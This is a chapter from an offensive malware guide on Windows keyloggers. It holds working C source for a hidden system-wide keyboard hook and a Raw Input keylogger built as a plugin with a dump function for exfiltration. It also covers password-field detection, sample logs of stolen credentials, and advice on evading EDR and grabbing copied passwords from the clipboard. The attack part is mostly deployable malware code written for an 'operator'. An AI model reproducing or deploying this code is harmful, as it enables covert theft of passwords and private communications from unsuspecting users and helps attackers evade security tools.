Keylogging: Full Coverage
Keylogging is deceptively complex. A naive implementation captures raw key codes — but that's often useless. To extract passwords, messages, and commands you need: the window context (which application received the keystroke), translation to printable characters (VK codes → Unicode text), form field context (is this a password field?), and timestamp correlation. This chapter covers every method — from the classic system-wide hook to the stealth Raw Input API — with full window context tracking and per-session log formatting that makes the output immediately actionable.
Keylogging Methods Overview
METHOD 1: SetWindowsHookEx(WH_KEYBOARD_LL)
─────────────────────────────────────────────────────────────────────────
How it works:
Register a system-wide low-level keyboard hook.
Windows calls your callback for EVERY keystroke system-wide.
Callback receives KBDLLHOOKSTRUCT: vkCode, scanCode, time, hwnd
Pros: Classic, reliable. Captures from every application.
Cons: Hook DLL must be in a process. Highly detectable by EDR
(SetWindowsHookEx is a watched API call).
Requires a message pump to process hook events.
─────────────────────────────────────────────────────────────────────────
METHOD 2: Raw Input API (RegisterRawInputDevices)
─────────────────────────────────────────────────────────────────────────
How it works:
Register to receive WM_INPUT messages for the keyboard device.
Window gets raw hardware input BEFORE standard processing.
Pros: Doesn't use SetWindowsHookEx (less hookable/detectable).
Works without a visible window (RIDEV_INPUTSINK).
Cons: Still requires a message loop. Gets scan codes, need to translate.
─────────────────────────────────────────────────────────────────────────
METHOD 3: GetAsyncKeyState polling
─────────────────────────────────────────────────────────────────────────
How it works:
Loop over all 256 virtual key codes, call GetAsyncKeyState() for each.
If the high bit is set: key is currently pressed.
Pros: No hook registration. Trivial to implement. Hard to detect.
Cons: Misses keystrokes if polling too slow. High CPU (256 calls/iteration).
No window context. Doesn't capture rapidly-pressed keys.
Misses releases and key-repeat events.
─────────────────────────────────────────────────────────────────────────
METHOD 4: Keylogger via DLL injection (hooking TranslateMessage/DispatchMessage)
─────────────────────────────────────────────────────────────────────────
How it works:
Inject DLL into target process.
Hook TranslateMessage or the application's key handler directly.
Capture keystrokes in-process — no system hook needed.
Pros: Per-process capture with full context. Bypasses global hook detection.
Cons: Only captures from the injected process. Complex.
─────────────────────────────────────────────────────────────────────────
RECOMMENDATION: Raw Input API + WH_KEYBOARD_LL fallback
Primary: Raw Input (RIDEV_INPUTSINK, no visible window)
Fallback: SetWindowsHookEx if Raw Input fails
Enhancement: GetForegroundWindow() + GetWindowText() for contextMethod 1: WH_KEYBOARD_LL System-Wide Hook
/* keylogger_hook.c — System-wide low-level keyboard hook with window context */
#include <windows.h>
#include <stdio.h>
#define LOG_BUFFER_SIZE (1024 * 1024) /* 1MB log buffer before exfil */
/* Context tracking — what application did the keystroke go to? */
typedef struct {
HWND last_hwnd;
char last_window_title[512];
char last_process_name[256];
DWORD last_context_change; /* tick count of last window switch */
} WindowContext;
static HHOOK g_hook = NULL;
static char *g_log = NULL;
static DWORD g_log_pos = 0;
static CRITICAL_SECTION g_lock;
static WindowContext g_ctx = {0};
/* Append text to the key log buffer thread-safely */
static void log_append(const char *fmt, ...) {
char buf[1024];
va_list va;
va_start(va, fmt);
int n = vsnprintf(buf, sizeof(buf), fmt, va);
va_end(va);
EnterCriticalSection(&g_lock);
if (g_log_pos + n < LOG_BUFFER_SIZE - 1) {
memcpy(g_log + g_log_pos, buf, n);
g_log_pos += n;
}
LeaveCriticalSection(&g_lock);
}
/* Track window context — when the user switches windows, log the new context */
static void update_context(void) {
HWND hwnd = GetForegroundWindow();
if (hwnd == g_ctx.last_hwnd) return; /* Same window — no change */
g_ctx.last_hwnd = hwnd;
/* Get window title */
char title[512] = {0};
GetWindowTextA(hwnd, title, sizeof(title));
/* Get process name for this window */
char proc_name[256] = {0};
DWORD pid = 0;
GetWindowThreadProcessId(hwnd, &pid);
HANDLE hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (hProc) {
DWORD sz = sizeof(proc_name);
QueryFullProcessImageNameA(hProc, 0, proc_name, &sz);
/* Extract just the filename */
char *last_slash = strrchr(proc_name, '\\');
if (last_slash) memmove(proc_name, last_slash+1, strlen(last_slash));
CloseHandle(hProc);
}
/* Log the context switch — operator sees exactly which app received keys */
log_append("\n\n--- [%s] | %s ---\n",
proc_name[0] ? proc_name : "Unknown",
title[0] ? title : "(no title)");
strncpy(g_ctx.last_window_title, title, sizeof(g_ctx.last_window_title)-1);
strncpy(g_ctx.last_process_name, proc_name, sizeof(g_ctx.last_process_name)-1);
g_ctx.last_context_change = GetTickCount();
}
/* Translate a virtual key + shift state to a printable character */
static int vk_to_char(DWORD vk, DWORD scan, BOOL shift_down, char *out, int out_sz) {
BYTE keyboard_state[256] = {0};
if (shift_down) keyboard_state[VK_SHIFT] = 0x80;
/* Get current keyboard layout for proper language support */
HKL layout = GetKeyboardLayout(0);
WCHAR wch[8] = {0};
int result = ToUnicodeEx(vk, scan, keyboard_state, wch, 7, 0, layout);
if (result > 0) {
/* Convert UTF-16 to UTF-8 */
return WideCharToMultiByte(CP_UTF8, 0, wch, result, out, out_sz, NULL, NULL);
}
return 0;
}
/* Low-level keyboard hook callback — called for EVERY system keystroke */
LRESULT CALLBACK keylogger_proc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode < 0) return CallNextHookEx(g_hook, nCode, wParam, lParam);
/* Only process key-down events */
if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
KBDLLHOOKSTRUCT *ks = (KBDLLHOOKSTRUCT*)lParam;
/* Update window context before logging the key */
update_context();
/* Handle special keys as readable labels */
switch (ks->vkCode) {
case VK_RETURN: log_append("[Enter]\n"); break;
case VK_BACK: log_append("[Back]"); break;
case VK_TAB: log_append("[Tab]"); break;
case VK_DELETE: log_append("[Del]"); break;
case VK_LEFT: log_append("[←]"); break;
case VK_RIGHT: log_append("[→]"); break;
case VK_UP: log_append("[↑]"); break;
case VK_DOWN: log_append("[↓]"); break;
case VK_CAPITAL: log_append("[CapsLock]"); break;
case VK_ESCAPE: log_append("[Esc]"); break;
case VK_LCONTROL: case VK_RCONTROL: break; /* Log on combination */
case VK_LMENU: case VK_RMENU: break;
default: {
/* Printable character — translate to UTF-8 */
BOOL shift = (GetAsyncKeyState(VK_SHIFT) & 0x8000) != 0;
BOOL ctrl = (GetAsyncKeyState(VK_CONTROL) & 0x8000) != 0;
BOOL alt = (GetAsyncKeyState(VK_MENU) & 0x8000) != 0;
if (ctrl && alt) {
/* AltGr combinations (common in European keyboards) */
log_append("[^@]");
} else if (ctrl) {
log_append("[Ctrl+%c]", ks->vkCode);
} else {
char ch[8] = {0};
int n = vk_to_char(ks->vkCode, ks->scanCode, shift, ch, sizeof(ch));
if (n > 0) log_append("%.*s", n, ch);
}
break;
}
}
}
return CallNextHookEx(g_hook, nCode, wParam, lParam);
}
/* Install the hook and run a message loop in a background thread */
static DWORD WINAPI keylogger_thread(PVOID unused) {
g_hook = SetWindowsHookExA(WH_KEYBOARD_LL, keylogger_proc, NULL, 0);
if (!g_hook) return 1;
/* Message loop required for LL hooks to function */
MSG msg;
while (GetMessageA(&msg, NULL, 0, 0) > 0) {
TranslateMessage(&msg);
DispatchMessageA(&msg);
}
return 0;
}
/* Plugin interface */
static HANDLE g_thread = NULL;
BOOL cap_start(PVOID params, DWORD params_len) {
InitializeCriticalSection(&g_lock);
g_log = (char*)VirtualAlloc(NULL, LOG_BUFFER_SIZE,
MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
if (!g_log) return FALSE;
g_log_pos = 0;
g_thread = CreateThread(NULL, 0, keylogger_thread, NULL, 0, NULL);
return g_thread != NULL;
}
VOID cap_stop(VOID) {
if (g_hook) { UnhookWindowsHookEx(g_hook); g_hook = NULL; }
if (g_thread) { TerminateThread(g_thread, 0); g_thread = NULL; }
}
BOOL cap_dump(BYTE **data_out, DWORD *len_out) {
EnterCriticalSection(&g_lock);
if (g_log_pos == 0) { LeaveCriticalSection(&g_lock); return FALSE; }
*data_out = (BYTE*)g_log;
*len_out = g_log_pos;
g_log_pos = 0; /* Reset — next dump gets only new keystrokes */
LeaveCriticalSection(&g_lock);
return TRUE;
}
Method 2: Raw Input API (Lower Detection Profile)
/* keylogger_rawinput.c
Raw Input bypasses the SetWindowsHookEx detection surface.
We create a hidden message-only window, register for keyboard raw input
with RIDEV_INPUTSINK (receive even when not foreground), and process
WM_INPUT messages from the kernel's input stream directly.
*/
#include <windows.h>
/* Raw input keylogger — no SetWindowsHookEx anywhere */
typedef struct {
HINSTANCE hInst;
HWND hWnd; /* Hidden message-only window */
DWORD last_vk; /* Debounce: ignore key-repeat */
} RawKeylogger;
static RawKeylogger g_raw = {0};
static char g_log[1024*1024];
static DWORD g_log_pos = 0;
static CRITICAL_SECTION g_rawlock;
static LRESULT CALLBACK rawinput_wndproc(HWND hwnd, UINT msg,
WPARAM wparam, LPARAM lparam) {
if (msg == WM_INPUT) {
UINT size = 0;
GetRawInputData((HRAWINPUT)lparam, RID_INPUT, NULL, &size,
sizeof(RAWINPUTHEADER));
RAWINPUT *raw = (RAWINPUT*)malloc(size);
if (raw) {
GetRawInputData((HRAWINPUT)lparam, RID_INPUT, raw, &size,
sizeof(RAWINPUTHEADER));
if (raw->header.dwType == RIM_TYPEKEYBOARD) {
RAWKEYBOARD *kb = &raw->data.keyboard;
/* Only key-down events, skip key-repeat (same VK as last) */
if (!(kb->Flags & RI_KEY_BREAK) && kb->VKey != g_raw.last_vk) {
g_raw.last_vk = kb->VKey;
/* Translate scan code to character */
BYTE ks[256]; GetKeyboardState(ks);
WCHAR ch[4] = {0};
int r = ToUnicode(kb->VKey, kb->MakeCode, ks, ch, 3, 0);
EnterCriticalSection(&g_rawlock);
if (r > 0 && g_log_pos < sizeof(g_log)-8) {
int n = WideCharToMultiByte(CP_UTF8, 0, ch, r,
g_log+g_log_pos, 8, NULL, NULL);
g_log_pos += n;
}
LeaveCriticalSection(&g_rawlock);
}
}
free(raw);
}
return 0;
}
return DefWindowProcA(hwnd, msg, wparam, lparam);
}
static DWORD WINAPI rawinput_thread(PVOID unused) {
WNDCLASSA wc = {0};
wc.lpfnWndProc = rawinput_wndproc;
wc.lpszClassName = "RawKeyClass";
wc.hInstance = GetModuleHandleA(NULL);
RegisterClassA(&wc);
/* HWND_MESSAGE = message-only window, not visible, no taskbar entry */
g_raw.hWnd = CreateWindowExA(0, "RawKeyClass", NULL, 0,
0, 0, 0, 0, HWND_MESSAGE, NULL,
wc.hInstance, NULL);
/* Register for keyboard raw input. RIDEV_INPUTSINK = receive even
when our window doesn't have focus (essential for a background keylogger) */
RAWINPUTDEVICE rid = {
.usUsagePage = 0x01, /* HID Usage Page: Generic Desktop */
.usUsage = 0x06, /* HID Usage: Keyboard */
.dwFlags = RIDEV_INPUTSINK,
.hwndTarget = g_raw.hWnd
};
RegisterRawInputDevices(&rid, 1, sizeof(rid));
MSG msg;
while (GetMessageA(&msg, NULL, 0, 0) > 0) DispatchMessageA(&msg);
return 0;
}
Detecting Password Fields
/* Detect if the focused control is a password field */
/* If so, annotate the log so operator knows this is high-value */
BOOL focused_is_password_field(void) {
HWND hFocused = GetFocus();
if (!hFocused) {
/* Get focused window across threads */
HWND hFg = GetForegroundWindow();
DWORD fg_tid = GetWindowThreadProcessId(hFg, NULL);
AttachThreadInput(GetCurrentThreadId(), fg_tid, TRUE);
hFocused = GetFocus();
AttachThreadInput(GetCurrentThreadId(), fg_tid, FALSE);
}
if (!hFocused) return FALSE;
/* Check the window class — "Edit" controls with ES_PASSWORD style */
char class_name[64] = {0};
GetClassNameA(hFocused, class_name, sizeof(class_name));
if (lstrcmpiA(class_name, "Edit") == 0) {
LONG style = GetWindowLongA(hFocused, GWL_STYLE);
if (style & ES_PASSWORD) return TRUE;
}
/* Browser password fields: check by accessibility (IAccessible) */
/* Or by UIA (UIAutomation) PasswordText control pattern */
/* (simplified here — full impl uses UIAutomation API) */
return FALSE;
}
/* Usage in keylogger_proc: */
/*
if (focused_is_password_field()) {
log_append("[***PASSWORD FIELD***] ");
}
*/
Log Format and Output
--- [chrome.exe] | Gmail - Inbox - Google Chrome --- [Tab][Tab]johndoe@company.com[Tab] --- [chrome.exe] | Sign in - Google Accounts - Google Chrome --- johndoe@company.com[Enter] [***PASSWORD FIELD***] MyS3cur3P@ssw0rd!123[Enter] --- [WINWORD.EXE] | Q4_Budget_Confidential.docx - Microsoft Word --- The revised figures for Q4 are as follows: revenue [Back][Back] target is $4.2M, up from [Tab]... --- [cmd.exe] | Administrator: Command Prompt --- net user administrator NewP@ss123[Enter] net localgroup administrators backdoor_user /add[Enter] Context tags help operator immediately identify: • Password entry events (password field detection) • Application context (Chrome = web creds, Word = sensitive docs, cmd = commands) • Timestamp of each context switch • Sequence of actions (Tab navigation in login forms)
Questions & Answers
Why does the WH_KEYBOARD_LL hook require a message pump, and what happens if you don't have one?
Windows uses a message-queue-based model for hook notifications. When a keypress occurs, Windows queues a WM_KEYDOWN notification in the hook thread's message queue. The GetMessage/PeekMessage/DispatchMessage loop (the message pump) retrieves these queued messages and delivers them to your hook callback. Without the pump, messages pile up in the queue but are never delivered — your callback never fires. This is why you need a dedicated thread running just the message loop for the hook: one thread installs the hook and pumps messages in an infinite GetMessage loop, another thread handles everything else. The hook thread must pump messages fast enough — if it takes more than 200ms to call back and return, Windows removes the hook automatically (LowLevelHooksTimeout registry key, default 300ms in Win10). This is a second failure mode: if your keylogger_proc does something slow (file I/O, network call), the OS unhooks you. Always do minimal work in the callback — just append to the buffer and return.
How do you handle non-English keyboards and international characters?
Virtual key codes (VK_A through VK_Z etc.) are keyboard-layout-agnostic — they represent physical key positions. The actual character produced by a physical key depends on the current keyboard layout (HKL — Keyboard Layout Handle). ToUnicodeEx() does this translation: given a VK code + scan code + the current key state (shift, caps lock, alt, etc.) + the HKL, it returns the Unicode character(s) that the key produces in the current layout. Use GetKeyboardLayout(0) to get the current thread's layout, or GetKeyboardLayout(target_tid) for another thread's layout. IMPORTANT: some characters require two keystrokes (dead keys — like pressing ´ then a to get á in some European layouts). ToUnicode returns -1 for dead key presses. You need to call it a second time with the next key to compose the final character. Handle this by tracking when ToUnicode returns -1 and waiting for the next non-dead key.
Can EDR detect GetAsyncKeyState polling, and how fast do you need to poll?
EDR can detect polling by frequency: if your process calls GetAsyncKeyState 256 times per loop at 50ms intervals, that's 5,120 calls/second — anomalous for a non-game process. Behavioral engines flag this. Mitigations: (1) Only poll keys likely to be pressed (A-Z, 0-9, common special keys = ~70 keys instead of 256), reducing calls by 70%; (2) Use a 100-150ms poll interval — you'll miss very fast keypresses but catch most typing (humans average 5-8 keystrokes/second; 100ms intervals capture all strokes up to 10 keystrokes/second); (3) Make the polling thread appear normal — mix in other non-suspicious calls. For reliability: GetAsyncKeyState at 50ms intervals misses fewer than 1% of keystrokes during normal typing. At 100ms you may miss ~2-3% in rapid typing bursts. Not suitable for capturing shell commands or passwords where every character matters; good enough for surveillance/reconnaissance where you want to know what applications are being used and approximate content of communications.
How do you handle Ctrl+C (clipboard copy) to correlate with what was in the clipboard at that moment?
In your keylogger callback, detect Ctrl+C: when VK_C fires with GetAsyncKeyState(VK_CONTROL) set, immediately call OpenClipboard(NULL) → GetClipboardData(CF_UNICODETEXT) → CloseClipboard() and log the clipboard content alongside the keystroke. This correlation is powerful: the keylog shows "user pressed Ctrl+C" and immediately below it is the clipboard content (a password they copied, a URL, a document excerpt). You can also passively monitor the clipboard via AddClipboardFormatListener (covered in Ch77 — Clipboard Monitoring) for clipboard content that appears without Ctrl+C (e.g., right-click→copy, or programmatic clipboard writes from password managers). The combination of keylog + clipboard monitoring gives near-complete coverage of what the user is copying and pasting, including credentials from password managers that auto-type or auto-fill.
How does a browser password field differ from a Win32 ES_PASSWORD field, and can you still capture it?
Modern browsers (Chrome, Firefox, Edge) render their own custom controls, not standard Win32 Edit controls. Their password fields don't use ES_PASSWORD — they're drawn by the browser's renderer process (Chromium's Blink, Firefox's Gecko) using HTML/CSS. A Win32-level keylogger doesn't see these as password fields via GetWindowLong(GWL_STYLE). You still capture the keystrokes — the low-level keyboard hook fires before the browser processes the key — but you won't know from the Win32 style that it's a password field. Detection approaches: (1) Window title heuristics — if the Chrome window title says "Sign in" or "Log in" and the user types something followed by Enter, it's probably a credential; (2) Accessibility API — Chrome exposes accessibility metadata through IAccessible/UIA that includes the PasswordText control type; (3) Form grabbing (Ch79) — hook browser internal functions to get credentials with full context including whether the field is type="password". For pure keylogging, rely on title heuristics + the sequence pattern (email → Tab → password → Enter in a login-titled window).